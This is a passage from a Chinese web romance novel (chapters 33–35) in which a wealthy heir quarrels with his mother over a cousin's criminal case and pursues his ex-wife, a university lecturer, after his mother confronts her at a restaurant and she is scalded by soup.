表姨突闻这一噩耗,连夜将所有不正当所得主动上交,只求他的儿子章隆的罪责能被判得轻一点。 她甚至卸下自尊,亲自去求骆亦迟,让他网开一面放章隆一马,去求骆彦怀帮她说说好话,去求杜曼玲,让骆亦迟给章隆出具谅解书。 但骆亦迟废了这么大劲才让公司大换血,才把章隆搞垮,怎么会轻易的说仁慈就仁慈? 开了第一个头,就会有第二个第三个,骆亦迟说什么都不原谅。 判决一直没下来,表姨就一直去求情。 求骆亦迟没用,就求骆彦怀。 骆彦怀也不管,就求杜曼玲。 她找了杜曼玲几次,杜曼玲就跟骆亦迟谈了几次。 每次都要吵架,每次都不欢而散。 上一次争吵,杜曼玲甚至打出了感情牌:“你忘了表姨曾经对你的好?你就这么没良心,连和你从小一起长大的哥哥,你都要狠心送他下狱?” 对比杜曼玲曾经做过的事,骆亦迟幽幽的说:“要说狠心,妈我还比不上你呢。你不是认识周泽明,他是个律师,虽然表哥犯的罪是经济方面的,但我觉得周律师那么神通,多多少少对经济犯罪也了解一些,妈你要不找他科普科普,问问他,表哥这罪能不能原谅,再问问他,如果表哥将那些罪责都栽赃给了我们,那骆氏还会不会存在?你和爸还能不能住在老宅这样有人伺候的大房子里安度余生?” 杜曼玲气得颤抖:“你……你,你是不是还在因为许满的事情记恨我?” 争吵多了,骆亦迟已经变得麻木。 他心平气和的说:“妈,没有,你是我妈妈,我哪儿会恨你?” 他早就不恨杜曼玲,他只恨自己。 恨自己有眼无珠,恨自己不懂珍惜。 如果当初表现得哪怕有一丝在意,或许他和许满的结局,就不会是现在这个样子。 杜曼玲歇斯底里:“你不恨我,那你想气死我?” 骆亦迟又说:“妈你怎么能这么想?你冷静点,生气多了对血压不好。” 骆亦迟不想争吵,他再不孝,也没有想过把杜曼玲气死。 眼不见心不烦,既然每次见面都吵架生气,那就不见好了。 渐渐的,骆亦迟回老宅的次数就少了。 现在,要不是骆彦怀特意打电话叫他回去,他压根就想不起来回。 肯定是杜曼玲让他回去的,他忍不住猜,一定是表姨又哭着求上门了。 第33章 第 33 章 “找到许满了?”…… 骆亦迟回到骆家老宅, 正赶上饭点。 停好车进了屋,骆彦怀一个人坐在沙发上埋首看平板, 餐桌上摆了一大桌吃的,佣人还在往外端菜。 听见有人进来,骆彦怀望向门口,见是骆亦迟,又收回目光继续看平板上的折线图。 “回来了?正好,赶上午饭了。” “家里有客?做这么多菜。” 换好鞋, 骆亦迟边走边脱掉外套。 “没有客人,这不你答应要来,你妈特意让做的。” 骆亦迟扫了一眼餐桌上的菜,确实都是自己喜欢吃的。 “我还以为表姨又来了。” “半个小时前刚走, 一大早就来了,跟你妈说了好一会儿话, 翻来覆去就那几句, 听得人心烦。” “我妈呢?” 骆亦迟目光在客厅里扫了一圈, 没发现杜曼玲的人影。 “在楼上卧室, 说头疼, 想躺一会儿, 你快去看看她吧。” 骆亦迟上了楼。 卧室门关着, 骆亦迟轻敲房门:“妈?在里面吗?” 杜曼玲一听声音, 忙喊道:“小迟吗?快进来。” 八月底的天, 连城还没完全凉快下来, 暑气尚在, 杜曼玲盖着一床春秋的薄被躺在床上,不开空调,也不嫌热。 骆亦迟一进门, 被闷热气息扑了一脸,皱眉直奔窗户,“妈你不热吗?窗户也不开。” 杜曼玲轻轻哼吟,发出不适的声音,满身柔弱的揉揉鬓角,“头疼,就让人关了。” 房间里闷得难受,骆亦迟将窗户推开一条缝,凉风从缝隙里钻进来,他在窗边站了一会儿,感觉稍稍舒服了些,才去到杜曼玲床边坐下。 杜曼玲勉力撑起上半身坐起来,靠在床靠背上,有气无力的说:“从公司过来的?” “嗯。”骆亦迟敷衍了下,“表姨又来找你,把你气头疼了?” “哎哟,快别提了,还不是又为了你表哥章隆那事儿。” 提起表姨,杜曼玲单手扶住额头,看起来十分焦虑。 但骆亦迟却注意到,她脸色红润,刚才看他时分明眼神清明,不见丝毫病气,额头还有点汗湿,沾着几缕发丝,八成是没开空调热的。 再看墙边,那里摆放着两个包装高档的礼品盒,好像是燕窝什么的。 骆亦迟不感兴趣,没仔细看。 垂下眼,他说:“又让我出谅解书?这次你怎么说的?” “我还能说什么?我就说你的事儿我做不了主,让她自己找你说去,可她非赖在我这儿,说你听我的话,还哭哭啼啼说自己命苦,老了没儿养老了,我听了真是头疼。” “既然她让你头疼,那以后不见她就是了,下次再来,你就让保安把她撵出去。” 杜曼玲不大高兴,责备道:“听听,你说的这是人话吗?” “我也想说人话,可人话没人听,那就只能说畜生话了。” 杜曼玲卡壳,想斥责骆亦迟说话不该这么夹枪带棒,可转念一想,就凭他的脾性,说了也未必听,话到嘴边,只好强自拐回正题上:“章隆在你这儿就真的没有一点可谈的余地了吗?” 骆亦迟觉得很奇怪,当初杜曼玲处理他的感情问题时,明明果决得很,手段那叫一个干脆,怎么涉及到表姨家,就这么优柔寡断拖泥带水了? 次次让表姨来求人就算了,现在还想说服他,让他出具谅解书,不管他明里暗里表态了多少次,这事儿在他这里没有任何商量的余地。 “没有,妈。” 像往常任何一次一样,骆亦迟果断拒绝。 他不想听关于表姨家的任何事,站起来作势要往外走,“还有什么事吗?没有的话我先下去了。” 杜曼玲视线追着骆亦迟的背影,“就不能陪我多坐会儿?” 骆亦迟便又坐下来,“可以,但妈,能不说表姨了吗?我听到他们的名字就烦。” 但他明显没有多少耐心,手肘撑在膝盖上,脚尖一下一下点着地,等杜曼玲开口。 杜曼玲愣怔的点下头,不聊表姨,却不知道该聊什么了。 自从她做主让骆亦迟和许满离婚后,骆亦迟便倔强的对她单方面封闭了心房,什么都不再跟她这个做母亲的沟通。 她不知道该跟骆亦迟说些什么,聊工作他不想聊,聊生活他不想说,聊婚姻,那更是一点就炸。 她觉得好难,想跟儿子好好聊聊,但儿子拒绝跟她敞开心扉。 她只能硬着头皮问:“最近……公司忙吗?” “忙。” “我听说,上次你放了欧洲那边鸽子,你……” “妈,你不是头疼吗?”骆亦迟强行打断,“工作上的事情你就不用替我操心了,我自己会处理好。” 说着,又站起来。 “小迟!” 杜曼玲视线跟随站起的身形被迫仰起头,面前的人忽地变得高高在上,杜曼玲心口倏地一缩,眼前的距离仿佛是骆亦迟亲手给她划下的一道清晰界线。 她声音颤抖,不禁叫出骆亦迟的名字,“小迟……” 床上的半老女人眸光哀求,语气恳切,“妈妈是……是做错什么了吗?六年了,你一直对妈妈如此冰冷,有时候,还不如对外面的陌生人来得热情……” “妈。”每次都这样,骆亦迟又不想听了,不耐烦的说,“我说过很多次了,你什么都没做错,你不要乱想,我只不过是……本性就是如此而已。” 为了表现得热情,他甚至俯下腰来,给杜曼玲压了压腿边的被子,“你不是头疼吗?吃点药,好好休息,不要胡思乱想。” 任谁都听得出来,这句关切里掺杂了多少虚情假意。 但杜曼玲甘之如饴的承受着。 距离蓦然拉近,她忽地注意到骆亦迟左脸上的一个红印,瞪大眼睛问:“你脸怎么了?谁打的?” 经过了一个晚上,脸颊上的掌印其实已经没当时那么清晰了,除非挨近了仔细看,不然看不太出来。 “哦,你说这个。” 骆亦迟摸摸脸颊,不由自主回味起当时的滋味,唇角扬起一个不太明显的弧度,“我心甘情愿挨的。” “我问你谁打的?” 没问你想不想挨。 骆亦迟不答反问:“妈你觉得现在谁能有资格打我?” 杜曼玲一怔,确实,就凭骆亦迟现在的地位,没人敢惹他,谁会不知天高地厚的打他呢? 总不会是他自己打的,因为手掌印的方向完全不对。 骆亦迟没说是谁,但看他的神色,杜曼玲忽然想到了一个人。 她难以置信,“你……你找到许满了?” 骆亦迟从鼻腔里发出一个极浅的气音,没正面回答,也没完全否认。 杜曼玲惊疑:“这么多年,你竟然还没忘记她?” 骆亦迟不置可否,意有所指道:“妈我认为你应该很了解我,毕竟从过去到现在,我一直都是个长情的人,你还亲自印证过的,不是吗?” 杜曼玲心道,果然,骆亦迟还在因为许满而记恨她。 如果当初因为池柠的事儿在他心里埋下了一颗怨恨的种子,那么许满的离开,是让这颗种子彻底萌芽,爆发了出来。 他们母子之间因此产生隔阂,随着时间推移,没有一丝化解的迹象,她说话战战兢兢如履薄冰,骆亦迟心里筑起的高墙,比北极的冰还要难融。 事情已经到了这种地步,杜曼玲心里再痛惜再难过也无济于事,她不后悔曾这么做,她就是不知道现在的局该怎么解。 骆亦迟真的要走了,“我给池柠打个电话,让她有空来陪陪你,妈,我先下去了,你好好休息。” 杜曼玲又叫他,但骆亦迟一秒钟都不想多待,自动屏蔽身后叫魂一样的声音,下了楼。 骆彦怀还在沙发上看平板,饭菜已经全都做好,热乎乎的摆了一桌。 骆亦迟:“爸你不吃饭?” 骆彦怀收好平板,往餐厅的方向走去,“等你呢。” 说着又望了眼骆亦迟身后:“你妈没跟着一起下来?” 骆亦迟:“她头疼,一会儿叫阿姨给她送上去吧。” 两人面对面做下,骆彦怀问:“跟她聊的怎么样?” “颠来倒去就那点事儿,听得心烦,一会儿我走的时候跟安保说一声,再碰见表姨来,直接撵出去!” 看骆亦迟神色就知道聊得不愉快,家和万事兴,骆彦怀不禁替杜曼玲说起公道话来:“你也理解下你妈,她这么做,是想让你不那么冷心绝情。” “冷心绝情?”骆亦迟冷笑,“你当初把我培养成整顿公司利剑时,怎么不说我冷心绝情?” 骆彦怀眉毛一挑:“那也不能当一个没有温度的人。” 骆亦迟不屑:“一把剑而已,需要什么温度?会砍东西就行了。” 把公司交出去之前,骆彦怀从没想到,骆亦迟会自我发展成会如今这个样子。 他端详着骆亦迟,不由思考,是当时离婚的刺激太大?还是自己将他逼得太狠?又或是两者都有,才让他变成如今这个样子。 不经意暼见骆亦迟脸上的一个红印。 来时有吗?骆彦怀当时没注意,于是问:“你的脸……你妈打的?” 看样子又不是,楼上没传出异常动静,而且那巴掌印看起来不像是新鲜的,似乎有点时间了。 骆亦迟:“不是。” “那谁打的?” “许满。” 噔楞,骆彦怀的筷子掉到盘子上。 他不慌不忙的捡起来,“你和她见面了?” “见好几次了。” “她现在……” “在连城。” 聊起许满,骆亦迟一改不耐的神色,语调轻快道,“没再婚,读了个博士,毕业了,现在在连大当老师,生活可盼,未来可期。” 骆彦怀肯定的点点头:“那挺好的,你找她是想……?” 骆亦迟正色:“复婚。” 说完,又强调一遍,“爸你当初答应过我的。” 骆亦迟还记得这件事,意外的是竟然坚持了这么多年,这有点出乎骆彦怀意料了。 他指指自己脸颊,“不顺利吧?” 骆亦迟苦笑一下,摇摇头,没回答。 没回答便是答案,骆彦怀心知肚明,不再追问。 吃完饭,骆亦迟去了公司。 他其实是想去找许满的,不说话,哪怕远远看她一眼也好。 但是冷静下来仔细一想,许满现在对他抵触情绪十分明显,近不得,更碰不得,一点就着,接近她的想法目前看来似乎不切实际。 怎么办呢?骆亦迟只好忍住,为免频繁碰钉子惹毛了许满,他告诉自己,这几天不许去见许满,不要打扰她,让她安安静静的消消火卸卸防备,等时机差不多了,再去找她。 而许满这边连夜把租房合同给看完,气得一整晚都没睡着。 合同上明确写了,只能退租,不允许转租,退租的话,押金和已付房租都不能退。 许满两眼一黑,识人不清,这是掉进黑心房东精心设置的坑里了啊! 5200块钱呢,难道真的要为了一时意气,让5200块钱白白打水漂? 从小就知道钱来之不易的许满,经过一夜深思熟虑,决定为了这5200块钱,暂时屈尊,忍下这口气,一年租期誓要住满最后一秒! 后面这几天,许满提心吊胆,生怕哪天一不注意,骆亦迟又来敲她的家门。 后来事实证明,这完全是她忧虑了,不仅骆亦迟没出现,连房东江淮也像消失了一样,没来骚扰她。 许满想,可能那巴掌把骆亦迟的自尊心给打跑了,他忙着追自尊心,所以没空来骚扰她。 这样正好,既然效果如此立竿见影,那以后如果再碰面,就再多打几下。 就这样,许满安安稳稳过了几天平静日子,直到开学。 第34章 第 34 章 死在一起。 新环境新气象, 许满适应能力不错,激情昂昂元气满满, 半周课程下来,学生们听课认真,同事们热情友好,她对未来充满了希望。 这天晚上,许满照常备课,手机叮咚一声, 收到一条信息。 梁桓宇向她发来祝福。 【老师开始上课了吧?学生们有没有听话?祝许老师工作顺心,教育有成,桃李满园。】 好没感情的祝福。 许满回复:【梁同学,大四感觉如何?】 梁桓宇发来一个焦虑的表情。 【就那样吧, 要开始找实习了。】 许满:【你不是要考研?】 梁桓宇:【再说吧。】 梁桓宇返校那天,许满建议他如果要考研的话早做准备, 当时他就这样说的, 现在还这样说。 许满纳闷, 是不是发生什么事了?总感觉这孩子突然有了心事。 许满问:【不想考了?】 梁桓宇迟疑:【也不是。】 许满:【那是怎么了?】 梁桓宇:【没怎么, 就是突然有了点新想法】 许满:【有心事?】 梁桓宇:【也不能算吧】 说话支支吾吾的, 这几天还不直播, 是不是陷入了大四的焦虑迷茫阶段?不知道该做什么了? 许满以一个过来人的身份, 给梁桓宇指点迷津: 【放平心态, 条条大路通罗马, 你看我, 大学毕业两年才考的研究生。只要决定了出发, 什么时候都不晚啊梁同学。】 梁桓宇没回消息。 许满登上短视频软件,梁桓宇果然又不在线,视频更新动态显示一周前。 梁桓宇这人, 不说一天更新一次吧,至少三天内总会出一条新动静,一开学突然停更一周多,可能真的是迷茫得不知道方向了。 还是有机会再跟他好好聊聊吧。 时间还早,许满课备得差不多了,左右无事,借机刷起了短视频。 几天没打开软件,消息提示那一栏突然多了很多提醒,醒目的红色数字18过于扎眼,许满顺手点开,一看,用户A57G6D55点赞并收藏了她的多条视频。 梁桓宇提醒过许满,视频不能连赞,连赞会给账号降权,让账号限流。 她这个账号一共就发了9条视频,这位粉丝用户A给她的9条视频点赞收藏全来了一套,就差没评论了。 原来您不是人机啊。 那您是存心的?还是有意的啊? 许满不求在短视频领域有所建树,但账号被人为限流,还是很不爽的。 她气嘟嘟的从粉丝列表里找到这位用户A,用户A头像右下角的绿点亮着。 正好,在线是吧? 许满哐哐敲字,给这位热情的粉丝朋友发去一条私信:【感谢您的厚爱,连赞会限流,麻烦取消几个赞,拜托了,谢谢。】 消息刚发过去就显示已读,用户A说:【不好意思,第一次玩短视频,不知道会限流】 不说会不会取消,就道了个歉。 许满:【那现在你知道了】 用户A:【我很喜欢你的视频内容,很温暖很美好】 【你不开心吗?不开心我就取消】 许满:【嗯,取消吧。】 几秒钟后,用户A将所有的赞和收藏都取消了,一个没留。 用户A:【都取消了。】 【主播今天直播吗?想听你讲种花养花的知识,感觉能学到跟多东西。】 许满意外,没想到还真有人在她的直播间里学到东西了,立马对这位粉丝朋友的好感度提升了不少,身为老师的自豪感和责任感也油然而生,激情回复:【播】 许满举着手机来到阳台,直播镜头对准前几天埋下的花种,有两盆已经发芽了,嫩嫩绿绿的尖儿从灰黑色的土壤里冒出来,许满指着它们说:“这株是向日葵,这株是波斯菊。” 话音刚落,屏幕自底下飘上来一个炫彩华丽的特效,钻石星光旋转而上,飘至屏幕中央,特效画面由近拉远,最后露出布灵布灵的三字灯牌,亮闪闪的画面定格,一秒钟后又消失。 然后又一遍。 又一遍。 如此重复了好几次。 许满瞪大眼睛看呆了,她冷冷清清的直播间还有人刷礼物? 这在梁桓宇直播间才能看到过的画面,竟然在她这个无人问津的直播间里也出现了? 评论区用户A的评论夹杂在特效画面里:【不好意思,手滑,想试试能不能发,结果一不小心发出去了。】 许满都结巴了,“不是,大哥,你手滑刷一百个?” “我退你吧?一个不便宜呢。” 用户A:【不用,就当是刚才冒昧连赞的赔礼】 说完,从右上角消失了。 许满:“……” 特效还在重复,直播间里顿时涌进来好多人,左下角评论跟着多起来,一条接一条。 许满无心看评论,等了一会儿,用户A一直没出现。 右上角的观看人数变了又变,许满内心说不上来什么感觉,总觉得不真实,这礼物钱不应该拿,控制住情绪关掉直播,点进粉丝列表。 用户A已经下线了。 许满给他发私信:【礼物不敢收,需要的话可以联系我退你】 消息显示未读。 许满不踏实,一直开着短视频软件,隔一会儿看一下消息,一直到洗完澡要睡了,发给用户A的消息还是未读状态。 也不知道这位大哥是什么心理,从没收到过天降横财的老实人许满,不仅没高兴,反倒忐忑了一晚上,觉都没睡好. 天一亮许满顶着个黑眼圈去上课了。 幸好今天的课排得不满,备课又做了充分准备,许满上午上完课,下午参加完教研组每周例会,跟同事一起去学校的咖啡店里买咖啡,忽然一辆私家车从对面驶来,擦着许满的脚尖停在她跟前。 许满本来可以无视走过,但因为那车子太过熟悉,她想无视都不行,身形一顿,脚底生根,无法前进了。 后排车窗缓缓摇下,露出妆容精致的杜曼玲的面容。 “许满,好久不见,我们能聊聊吗?” 许满跟骆家的任何一个人都没什么可聊的,摆出和善的笑容,礼貌拒绝:“不好意思啊妈……” 刚喊出这个称呼,转念一想,不对,该叫别的才是。 “阿姨,我现在有事,没空跟您聊天呢。” 说完推推同事的胳膊,催促她赶紧走。 杜曼玲伸长脖子,“小迟不知道我来找你,小满,我有些话想对你说。” 许满顿足,“那您就在这里长话短说吧,我赶时间。” “我的话两三句说不完,这样吧小满,我约了一个西餐厅,就在学校附近,给我半个小时就行。” 许满粗略算了一下,半个小时,去掉来回路程时间,杜曼玲能跟她聊的时间,满打满算也就十分钟左右。 还好。 许满转头跟同事说:“我跟这位阿姨有些话要谈,你先去吧,不用等我。” 说完打开后座车门,上了车。 车子驶出校园,拐上马路,过了两个红绿灯,停在一家高档的西餐厅前。 老张去停车,杜曼玲和许满在服务员带领下进了餐厅。 离晚高峰还早,西餐厅午休刚结束没多久,偌大的餐厅没有其他客人,只有几个服务员在。 两人在靠窗一个位置落座。 杜曼玲熟练的点了几道菜,到许满的时候,许满说:“谢谢阿姨,我应该很快就走了,不需要再点我的菜了。” 转头对服务员说:“给我一杯白开水吧。” 服务员领了菜单离开,不一会儿,送来一杯白开水。 小提琴奏出低缓袅袅的乐声,许满目光放空望着窗外的车流行人,耐心静等杜曼玲开口。 “小满,打扰到你了吗?” 许满诚实点头,“嗯,是的。” 她说:“我不知道您为什么会找我,我自问,自从离开骆家,从没在外提起过你们一句,更别说,与你们再产生瓜葛。” “怎么没有产生瓜葛呢?” 杜曼玲看着她,画了眼线的眼睛看不出来多少善意,满满的全是埋怨和蔑视。 “小满,小迟去找你了吧?我看到你打他的痕迹了。” 许满摆出事不关己的态度,安静喝着面前的白开水。 “我给他找了那么多姑娘结亲,他一个都不要,就非要认准你,还在我面前放狠话,说这辈子如果没有你,他就要孤独终老。” “我一直以为他跟你结婚是被你逼的,后来你们离了,他又为了你,把骆家糟蹋成这个样子……” 许满听不明白了,什么叫被她逼的?什么叫为了她,把骆家给糟蹋了? “阿姨,你把话说清楚,我哪里逼他了?我让他糟蹋什么了?当初我未婚先孕,没逼他更没强迫他娶我,是他自己提出要跟我结婚,我没告他强_奸算好的,现在你还反咬我一口说我逼他?还有骆家的事我从没掺和过,从嫁进去到离婚,我连亲戚都认不全,我掺和你们骆家的事儿图什么?” “你不图什么,那为什么你一意孤行要跟他离婚,离了婚,又为什么不再结婚?你是想向我证明他有多爱你吗?” 许满听得目瞪口呆,要不是曾经叫过杜曼玲妈妈,对她还保留了点尊重,她简直想拍手称赞。 神逻辑,简直神逻辑。 “阿姨,我为什么离婚,你不应该比我更清楚吗?” 杜曼玲心里咯噔一下,脸色变了几变。 难道许满知道了?小迟告诉她当初的离婚协议是她代签的了? 许满双手紧紧握着玻璃桌上的水杯,“阿姨,我自小就没有妈妈,当初开口叫你第一声妈妈,是怀着满身满心的诚意的,但我想,你并没有接受它吧?你在我不知道的地方,弃之如敝履的狠狠将它踩在地上。从结婚的第一天开始,我就知道你看不起我,我在骆家小心翼翼,唯唯诺诺,生怕自己一个举动出了差错,丢你们骆家人的脸,惹你们不高兴。后来离婚了,我也恪守本分,当一个规规矩矩的陌生人,跟你们划好界限,离你们远远的,不关心不打扰,甚至看到关于你们的新闻,都直接滑过去不去点开。” “我不结婚是因为我不想,没有别的理由。至于骆亦迟,我从没想到他会来找我,腿长在他身上,他硬来找我我也没办法,我能做的,就是每次他来的时候拒之门外。至于其他的,与我无关的事情我做不了主。” “半个小时到了,阿姨,没别的事我先走了。” 许满说完,拎包起身。 刚走了没多远,杜曼玲忽地冲过来,拽住许满的胳膊,低声下气的哀求她:“我求求你,你喜欢什么样的男人,我帮你找,你就放过他,放过我们骆家好吗?” 许满满脸问号,这突然怎么了?这还是她认识的杜曼玲?竟然放下身段对她这样说话?还如此的胡搅蛮缠。 她早就不高兴了,见状越发的不耐烦,不管什么礼貌不礼貌了,手指用力去掰杜曼玲的手,“我说过了阿姨,那些事情与我无关,请您放手。” “我不放!小满,你跟我去见小迟,当着我的面,你把话说清楚好不好?” “我话已经说得够清楚了!” 许满真的无语了,这母子俩简直一脉相承的蛮不讲理,她当初怎么就眼瞎,嫁进了这一家呢? 杜曼玲拽她拽得越发的紧,许满感觉胳膊都快折了,手臂用力挣脱,同时脚步连连后退。 就在这时,餐厅大门被人从外推开,服务生齐齐:“欢迎光临。” 杜曼玲循声抬头,看清来人惊呼道:“小迟?” 手上力道不由一松—— 许满惯性用力,却没想到前方力道一撤,她的重心随之一偏,脚下踉跄后退,撞上了来送餐的服务员。 只听一声尖叫,伴着叮铃咣啷的一阵脆响,一盆热乎乎的奶油浓汤摔了一地,汤汁顺着许满的胳膊,滴滴答答染污她贴身的长裙,虾仁碎蔬菜屑挂了一胳膊一腿,堆积在脚面上,烫的她脚趾不住收缩。 “许满!” 骆亦迟大喊着从门口冲过来。 服务员边捡盘子碎片,边不停道歉:“对不起对不起!有没有受伤?” 骆亦迟却是二话不说,牵住许满的手,一把抓过服务员的领口,“你没看她烫到了?!卫生间在哪里?!” “卫生间?啊啊,我带你们去!”服务员赶忙丢下盘子,引人过去。 骆亦迟三两下把许满的鞋脱掉,一把抱起许满,跟上服务员,冲进卫生间,将她抱到洗手池台面上,打开水龙头开到最大,将许满的脚泡进洗手池里,拉过许满手臂,放在水龙头下一起用凉水冲着。 水声哗哗,好久,他才冷静下来。 搓着许满胳膊上的汤汁,骆亦迟突然道歉:“对不起,我妈这几年精神有点问题,她来找你没跟我说。” 许满任骆亦迟帮她清洗。 “平白无故的,她为什么来找我?” 因为骆家这样,他们这样,杜曼玲不怪自己儿子,怪许满。 是许满导致了她儿子的冷血无情,是许满害得他们母子离心。 骆亦迟不说话,许满推开他的手,自己清洗手臂上的脏污。 “你妈还在外面呢,你快去看看她吧。” 这个姿势并不舒服,许满调整了一下,骆亦迟却没走,倾身过来,帮她搓洗被水龙头挡住的脚背。 这动作稍显亲密了,许满感到不自在,蜷了蜷脚趾。 “不去吗?” “我去了,你一会儿走了怎么办?” “既然你不去,那我们一起去吧,正好趁你妈在,把话说清楚。” 骆亦迟抿唇,定定的站了一会儿,掏出手机,给老张打了个电话:“张叔,带我妈回去,以后别再带她出来见许满。” 电话挂断,他看向许满:“这样可以了吗?” 洗手间里灯光昏暗,头顶射灯打下来,将骆亦迟的眉骨衬得很高。 那双漆黑的眼睛隐藏在高高的眉骨之下,看不清里面的情绪,但许满莫名觉得,此时他的眸光一定很浓烈。 她微微低头,不想承受这样浓烈的注视。 “可不可以是你的事,我没有让你这样做。” “我知道,是我不想让她打扰你,是我自己决定要这样做。” 话音刚落,走廊尽头传来杜曼玲高调的喊声。 “骆亦迟你这个不孝子,你还限制起我的自由来?好马还不吃回头草呢,许满这坨草你吃了吐吐了吃不嫌腻味吗你?老张你别拉我,什么家丑,我们家丑事多去了,新闻上全是,不缺这一桩!” 咯吱咯吱,许满听到指骨挤压的声音,在哗哗流水的卫生间里听起来异常的清晰。 骆亦迟紧咬着后槽牙,声音从牙缝里挤出来,“你等我一下。” 转身,皮鞋声回荡在空荡荡的走廊里,不一会儿停了,骆亦迟不容置喙的声音跟着传来:“妈,你决定吧,是要吃回头草的儿子?还是要行尸走肉的儿子?” 杜曼玲惊愕:“你这是要我做选择?” 骆亦迟惨笑:“生母不能选择,婚姻我还不能自己选择吗?结婚这件事,我早说过,除了许满,我就没想过和别人,她这棵回头草,我吃定了!” 杜曼玲气得指着骆亦迟鼻子痛骂:“听听这是什么话?你怎么这么执迷不悟?一点都不害臊,人家都不要你你还贴上去,我真该录下音来,让你听听刚才许满是怎么说的!” “无非就是跟我撇清关系的话,那些话他早就对我说过了。” 骆亦迟认真的说:“可是那又如何呢?我这辈子别的不求,就想求她一个。我早就想好了,就算是死,我也要跟她躺同一口棺材,进同一个焚化炉,装同一个骨灰盒,埋同一个坟坑!” “你你你……”杜曼玲气得彻底说不出话来了,拍着胸口不停给自己顺气。 “好了,闹够了就走吧,张叔,赶紧送我妈回去,不行的话找医生给她看看。” 丢下这句话,骆亦迟转身回了洗手间。 许满已经从洗手台上下来,靠墙单脚站着,等骆亦迟走到她跟前,她问出了放在心里很久的一个问题:“为什么?为什么突然又非我不可了?” 第35章 第 35 章 以后别来找我了。 是的, 为什么非许满不可呢? 六年来每一个辗转难眠的夜,骆亦迟也曾问自己, 为什么非得许满不可。 和许满荒唐的那一夜,他连这人是谁都不知道,后来和许满结婚,不过是因为被池柠训斥,不想背负那么多的负疚感而已。 他对许满没有爱,至少在结婚时, 是没有的。 可是他并不讨厌许满。 许满温顺乖巧,不惹事,不乱发脾气,贤惠顾家, 这样的人,很适合结婚。 婚后她将一切都打理得井井有条, 小到他今天上班穿什么衣服, 大到父母的生日该做哪些准备, 骆亦迟从来没有为生活上的事情烦心过, 除了他偶尔对池柠的过度关心让许满感到不开心之外, 他们的生活, 和谐得堪称夫妻楷模。 那时候他并不认为和池柠的关系会影响到他和许满的婚姻。 他单方面以为自己将一切都平衡得很好, 以为会这样和许满过一辈子, 从来没有想过, 许满有一天会不爱他, 会主动离开他。 没有问询过他愿不愿意, 只下了一个通知,就收走了对他所有的爱。 安稳的生活被打乱,他乱了阵脚, 之后才后知后觉,原来从一开始自己就做错了。 他尝过了许满给的甜,陷入其中而不自知,在许满无情收回之后,又开始怀念。 他就是活该吧。 深夜孤枕难眠,他也曾捏着那根头发设想,如果他没有仗着许满的喜欢而不顾忌她的想法和感受,如果他早点爱上许满…… 是不是,许满就不会离开他? 感情就是来得这么莫名其妙。 他不爱许满,却在许满渗透他生活又突然离开的时候,渐渐的,产生了一点夹在喜欢和爱之间的感觉。 刚开始是觉得失控,后来慢慢就变成了后悔,再后来,就成了思念,又成了执念。 这种感觉将他锁住,他困在思念的牢笼里,一年比一年更深切。 许满站在那里,等一个答案:“是觉得少了一个帮你事无巨细打理生活的人?还是我的离开让你感到了不甘心?” 骆亦迟声音微颤:“都不是。” “那是什么?” 是迟来的爱。 但骆亦迟说不出口。 许满似乎知道答案,“别说是爱。骆亦迟,我不相信你,更不相信的爱。” 爱培养自由,不爱培养忠诚。 她的爱很珍贵,曾毫无保留的真诚给过一个人,可那个人视而不见,不加珍惜,那她只好全都收回来。 前方走廊传来急切的脚步声。 服务员小跑过来,手上拿着一管药膏,紧张的说:“找到一管烫伤药,我看过了,没开封,还在有效期内。” 许满接过来,“谢谢。” 服务员挠着头,感到很抱歉:“不用谢不用谢,是我不小心害你烫伤,这附近有一家药房,我扶你过去给医生看看吧。” 奶油浓汤不算特别的烫,外加冷水冲了二三十分钟,许满的胳膊和脚背虽然被烫红了,但已经缓解好多了。 她无意为难服务员,婉拒了服务员的帮助,拧开药膏,俯身在脏污的裙角上打了个结,露出被烫红的脚背,用纸巾吸干水分,将药膏抹上去。 骆亦迟见状忙蹲下来帮她。 厚厚的一层药膏敷在皮肤上,药香弥散出来,许满面不改色的说:“我听见你对你妈说的话了,但我拒绝。” 骆亦迟本就是为了气杜曼玲,虽然他也抱了一点表决心的私心在里面。 “嗯,你就把它当成我气我妈的话好了。” “我当然是这样想的。” 手臂也涂好药膏,许满活动活动脚,发现不影响走路,于是脚尖点地,扶着墙,一跳一跳的往外走。 为了防止走光,她将长裙上的结打得很低,裙边随着走动幅度摇摆,一不小心就会擦到涂在脚背上的药膏,布料触碰到伤处,又痒又疼。 几乎是刚走了两步,骆亦迟就从背后跨过来,二话不说将她拦腰抱起。 “你去哪儿?我送你。” 许满下意识挣扎:“不要,你放开我!” “你这样不方便。” “那也不要你管。” “你别乱动,我送你去医院。” “不去。” “不找医生看看,你就不怕留疤?” “你当我跟你们娇生惯养的富家子弟一样,会在意这点小伤小疤?” “你可以不在乎,可是许满,我怕,我怕你因为我又一次留下伤痕。” 短暂的一年婚姻,骆亦迟给许满造成过太多伤害,不管是在心理上,还是在身体上。 那时他眼盲心瞎,看不见那些伤口,不知道背地里许满是怎样疗愈的,现在他又让她受伤,他再做不到放任不管。 他兀自抱着挣扎的许满,任由许满手上的药膏擦在他名贵衣服上,脚步坚定穿过空荡荡的大厅,来到车子旁,将她放进副驾驶,扣上安全带。 许满眼神恶狠狠,他单手撑在车框上,迎接许满的注视。 “我妈害你烫伤,作为他的儿子,我理应赔你医药费误工费和精神损失费。” 骆亦迟说完,坐进驾驶位,发动车子。 “现在,我要带你去最近的一家医院。” 这个时间点,正常门诊已经下班,骆亦迟直接开车将许满抱去了急诊。 烫伤做过简单处理,医生看过之后,表示需要慢慢养几天,给开了点新的烫伤药和消炎药,嘱咐不要让伤口捂着,要厚涂烫伤药,最好裹上纱布回去用冰块降温,加速恢复。 在餐厅涂好的药膏在挣扎过程中被剐蹭掉不少,付完费拿好药,许满坐在医院的休息椅上,直接就地开始处理伤口。 她不要骆亦迟帮忙,重新涂好药膏,自己裹纱布。 脚弄好了,但是一只手却没法剪短受伤胳膊上缠好的纱布。 许满气恼的与纱布斗争了半晌,急得满头大汗,最后骆亦迟小心翼翼的上前,帮她剪断了纱布。 伤口裹好,许满并不感谢,“好了,医药费你已经付了,可以走了吧。” “我送你回去。” 许满只穿了一只鞋,另一只鞋还扔在西餐厅里,受伤的脚现在裹着纱布,没法踮脚行走,这次骆亦迟将她抱起来,她没有拒绝。 上车坐好,骆亦迟拿出冰块,从一旁的抽枝盒里哗哗抽了五六张纸,叠整齐了垫在冰块上交给许满:“拿纸垫着,别冻伤手。” 许满沉默的接过,等车子驶离医院,忽然开口:“把我放到最近的商场吧,我买双鞋,自己回去。” 